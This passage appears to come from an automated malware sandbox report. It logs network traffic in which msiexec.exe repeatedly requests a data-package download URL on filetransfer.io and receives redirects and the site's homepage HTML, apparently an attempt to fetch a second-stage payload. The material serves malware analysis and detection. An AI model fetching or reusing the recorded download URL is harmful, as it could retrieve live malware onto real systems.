Jan 10, 2025 20:15:08.713313103 CET	57994	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:08.720835924 CET	57995	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:08.720885038 CET	443	57995	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:08.720988035 CET	57995	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:08.721191883 CET	57995	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:08.721200943 CET	443	57995	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:09.026252031 CET	57994	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:09.026274920 CET	443	57994	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:09.203119040 CET	443	57995	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:09.203167915 CET	57995	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:09.203632116 CET	57995	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:09.203640938 CET	443	57995	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:09.203835011 CET	57995	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:09.203841925 CET	443	57995	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:09.396671057 CET	443	57995	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:09.396732092 CET	443	57995	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:09.396742105 CET	57995	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:09.396754026 CET	443	57995	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:09.396774054 CET	57995	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:09.396795034 CET	443	57995	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:09.396807909 CET	57995	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:09.396812916 CET	443	57995	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:09.396828890 CET	57995	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:09.396848917 CET	443	57995	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:09.396861076 CET	57995	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:09.396872044 CET	443	57995	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:09.396883011 CET	57995	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:09.396908998 CET	57995	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:09.397202015 CET	443	57995	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:09.397397041 CET	443	57995	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:09.397442102 CET	57995	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:09.397449017 CET	443	57995	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:09.397491932 CET	57995	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:09.401510954 CET	443	57995	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:09.401566029 CET	57995	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:09.401572943 CET	443	57995	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:09.401613951 CET	57995	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:09.401648045 CET	443	57995	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:09.401688099 CET	57995	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:09.486637115 CET	443	57995	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:09.486696005 CET	443	57995	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:09.486726999 CET	57995	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:09.486742020 CET	443	57995	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:09.486756086 CET	57995	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:09.486784935 CET	57995	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:09.486790895 CET	443	57995	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:09.486819983 CET	443	57995	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:09.486861944 CET	57995	443	192.168.2.6	172.67.152.246

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:13:33.611305952 CET	53	61198	162.159.36.2	192.168.2.6
Jan 10, 2025 20:13:34.163093090 CET	57856	53	192.168.2.6	1.1.1.1
Jan 10, 2025 20:13:34.170293093 CET	53	57856	1.1.1.1	192.168.2.6
Jan 10, 2025 20:14:06.111859083 CET	51605	53	192.168.2.6	1.1.1.1
Jan 10, 2025 20:14:06.121752977 CET	53	51605	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 20:13:34.163093090 CET	192.168.2.6	1.1.1.1	0xfef8	Standard query (0)	171.39.242.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Jan 10, 2025 20:14:06.111859083 CET	192.168.2.6	1.1.1.1	0xaa54	Standard query (0)	filetransfer.io	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 20:13:34.170293093 CET	1.1.1.1	192.168.2.6	0xfef8	Name error (3)	171.39.242.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Jan 10, 2025 20:14:06.121752977 CET	1.1.1.1	192.168.2.6	0xaa54	No error (0)	filetransfer.io		172.67.152.246	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:14:06.121752977 CET	1.1.1.1	192.168.2.6	0xaa54	No error (0)	filetransfer.io		104.21.64.168	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

filetransfer.io

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	57914	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:06 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:14:06 UTC	619	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:14:06 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:14:06 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X4unmd7Ly154RRsMqT2tycSoDTLbq67KXWMOM5C9UlYQcDaKKMptsNxSF%2FZ1CyUgOYl%2Ba%2FbknHy5%2F9xusxIl5s53jKL2T38yZQQ58XSevuaG0PThqapeGkthAuK1bocUD%2Bc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefcf9498743ee-EWR
2025-01-10 19:14:06 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	57915	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:07 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:14:07 UTC	944	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:14:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: EcB7fmM/4H7DdWvyoz8WUv+z0nxvzVU6pDTj9gmugeQTtHOzbYICSLblQSJ0+NrE+qHOKJSXgdY= x-amz-request-id: 2THZFXQ3TK07J4N4 Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DMPrklXUMbQcQTqihzIv2Iab0fNIkb%2BUY8fOvmSAE2XNvq7JTDYjsY3gg1iOdoLoj2G5jijY85iY2lSNahM%2FLC3Aps56SCKL%2FA7ObZcwoNpIbvwjeBA843HBVlU7A3wTC5s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefcfcfc3bc3ff-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1635&min_rtt=1628&rtt_var=625&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=798&delivery_rate=1729857&cwnd=246&unsent_bytes=0&cid=a76290e8a497dd9a&ts=209&x=0"
2025-01-10 19:14:07 UTC	425	IN	Data Raw: 32 31 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 21a8<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:14:07 UTC	1369	IN	Data Raw: 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 2d 76 65 72 73 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4e 53 34 78 4e 69 34 79 4d 67 3d 3d 22 3e 0a 0a 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 Data Ascii: a charset="utf-8">...[if IE]><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><![endif]--><meta name="author" content=""><meta name="keywords" content=""><meta name="app-version" content="NS4xNi4yMg=="><meta name="og:descript
2025-01-10 19:14:07 UTC	1369	IN	Data Raw: 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 33 32 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 34 38 78 34 38 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 34 38 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 39 36 2e 70 6e 67 22 3e 0a 09 3c Data Ascii: ch-icon-precomposed" sizes="192x192" href="/img/favicon/solid/192.png"><link rel="icon" sizes="32x32" href="/img/favicon/32.png"><link rel="icon" sizes="48x48" href="/img/favicon/48.png"><link rel="icon" sizes="96x96" href="/img/favicon/96.png"><
2025-01-10 19:14:07 UTC	1369	IN	Data Raw: 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 33 31 30 78 33 31 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 6c 61 72 67 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 73 74 20 26 61 6d 70 3b 20 53 69 6d 70 6c 65 20 46 69 6c 65 20 54 72 61 6e 73 66 65 72 73 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 Data Ascii: "><meta name="msapplication-square310x310logo" content="/img/favicon/ms/large.png"><meta property="og:title" content="Fast & Simple File Transfers"><meta property="og:site_name" content="FileTransfer.io"><meta property="og:type" content="websi
2025-01-10 19:14:07 UTC	1369	IN	Data Raw: 69 6e 67 20 6f 66 20 79 6f 75 20 65 2d 6d 61 69 6c 2c 20 70 72 65 73 73 20 65 6e 74 65 72 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 75 70 6c 6f 61 64 46 61 69 6c 65 64 20 3d 20 22 57 65 20 61 72 65 20 73 6f 72 72 79 20 62 75 74 20 74 68 65 20 66 69 6c 65 20 75 70 6c 6f 61 64 20 63 6f 75 6c 64 6e 27 74 20 62 65 20 72 65 73 74 6f 72 65 64 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 55 70 6c 6f 61 64 41 62 6f 72 74 20 3d 20 22 44 6f 20 79 6f 75 20 72 65 61 6c 6c 79 20 77 61 6e 74 20 74 6f 20 69 6e 74 65 72 72 75 70 74 20 74 68 65 20 75 70 6c 6f 61 64 3f 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 46 69 6c 65 6c 69 73 74 4c 65 61 76 65 Data Ascii: ing of you e-mail, press enter."; MESSAGES.alerts.uploadFailed = "We are sorry but the file upload couldn't be restored."; MESSAGES.alerts.confirmUploadAbort = "Do you really want to interrupt the upload?"; MESSAGES.alerts.confirmFilelistLeave
2025-01-10 19:14:07 UTC	1369	IN	Data Raw: 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 68 6f 75 72 73 20 3d 20 22 68 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 6d 69 6e 75 74 65 73 20 3d 20 22 6d 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 73 65 63 6f 6e 64 73 20 3d 20 22 73 22 3b 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 2d 2d 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 69 64 3d 22 75 70 6c 6f 61 64 2d 64 72 61 67 2d 64 72 6f 70 22 20 64 61 74 61 2d 62 79 74 65 73 2d 70 65 72 2d 6b 62 3d 22 31 30 32 34 22 20 64 61 74 61 2d 73 65 6e 74 72 79 2d 75 72 6c 3d 22 68 74 74 70 73 3a 2f 2f 36 33 36 36 31 32 38 63 64 33 62 61 34 66 66 62 62 61 39 65 38 65 38 37 33 35 66 58 58 58 58 58 40 73 65 6e Data Ascii: S.time.shortcuts.hours = "h"; MESSAGES.time.shortcuts.minutes = "m"; MESSAGES.time.shortcuts.seconds = "s";</script>--></head><body id="upload-drag-drop" data-bytes-per-kb="1024" data-sentry-url="https://6366128cd3ba4ffbba9e8e8735fXXXXX@sen
2025-01-10 19:14:07 UTC	1354	IN	Data Raw: 74 63 68 20 74 6f 20 74 68 65 20 68 6f 6d 65 20 70 61 67 65 22 20 68 72 65 66 3d 22 2f 22 3e 0a 09 09 09 3c 73 74 72 6f 6e 67 3e 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 3c 2f 73 74 72 6f 6e 67 3e 0a 09 09 3c 2f 61 3e 0a 09 09 3c 21 2d 2d 20 2e 6c 6f 67 6f 20 2d 2d 3e 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 68 65 61 64 65 72 22 3e 0a 0a 0a 0a 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 22 0a 09 09 09 20 20 20 63 6c 61 73 73 3d 22 61 63 63 6f 75 6e 74 20 75 6e 64 65 72 6c 69 6e 65 22 0a 09 09 09 20 20 20 64 61 74 61 2d 61 75 74 68 65 6e 74 69 63 61 74 65 64 3d 22 66 61 6c 73 65 22 3e 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 75 73 65 72 20 63 69 72 63 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a Data Ascii: tch to the home page" href="/"><strong>FileTransfer.io</strong></a>... .logo --><div id="snippet--header"><a href="/login" class="account underline" data-authenticated="false"><span class="icon-user circle"></span>
2025-01-10 19:14:07 UTC	1369	IN	Data Raw: 31 30 39 37 0d 0a 0a 0a 09 09 3c 68 72 3e 0a 0a 09 09 09 09 09 09 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 25 32 32 25 32 43 25 32 32 72 65 6d 6f 76 65 46 69 6c 65 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 72 65 6d Data Ascii: 1097<hr><section class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload%22%2C%22removeFileUrl%22%3A%22%2Frem
2025-01-10 19:14:07 UTC	1369	IN	Data Raw: 73 0a 09 09 09 09 09 09 3c 2f 6c 61 62 65 6c 3e 0a 09 09 09 09 09 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 20 6f 66 20 61 20 64 61 74 61 20 70 61 63 6b 61 67 65 20 69 73 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 Data Ascii: s</label></p></div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size of a data package is <span class="ma
2025-01-10 19:14:07 UTC	1369	IN	Data Raw: 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 77 61 72 6e 69 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 74 72 69 61 6e 67 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 69 6e 67 6c 65 22 3e 54 68 65 20 66 6f 6c 64 65 72 20 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 63 6f 6e 74 65 6e 74 3d 22 64 69 72 6e 61 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 20 63 61 6e 6e 6f 74 20 62 65 20 61 64 64 65 64 20 61 6c 6c 20 61 74 20 6f 6e 63 65 2c 20 70 Data Ascii: lass="alert alert-warning alert-noremove alert-hidden" data-alert-occasion="directories"><span class="icon-exclamation-triangle"></span><span class="single">The folder <span data-content="dirnames"></span> cannot be added all at once, p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	57916	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:08 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:14:08 UTC	617	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:14:08 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:14:08 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IgE1Khf7meN2t6AIiTLPXKPhg0GC8VoShuMMKDa77eCRV01mRfnqC6s2EJlW%2BUxdCwH8M6ZCzm2XgYnz6WE55hX6XpUgBgUfM3aCLDEtpLED%2BgldKtqxyGMS%2F8C6wa3%2FID8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefd02acd44376-EWR
2025-01-10 19:14:08 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	57917	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:08 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:14:09 UTC	950	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:14:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: jNIvU82tyZJmvgxa9lUFEbw9O9FYbCVxaqQIKozHm2UIeJYMVQNf9N87cTqaQ1cTNwMHOsIhKaA= x-amz-request-id: 2Z306WTX21NSM15D Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5%2BDLMONfcKvE%2F%2BlkGIFuYnuHR67iBenOqjqOEe9SgXcmxgExRROXo2sKs2lJ6EgUuYCUWrVuDriTQpM77M%2FSR5E3%2BDcyMZ4HzzzKUM7bxIH9wOcQX4zI0nORxMtcN7%2FyLfI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefd0648b2f5f8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1489&min_rtt=1485&rtt_var=566&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=798&delivery_rate=1918528&cwnd=122&unsent_bytes=0&cid=6bf5ce2840402093&ts=205&x=0"
2025-01-10 19:14:09 UTC	419	IN	Data Raw: 32 31 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 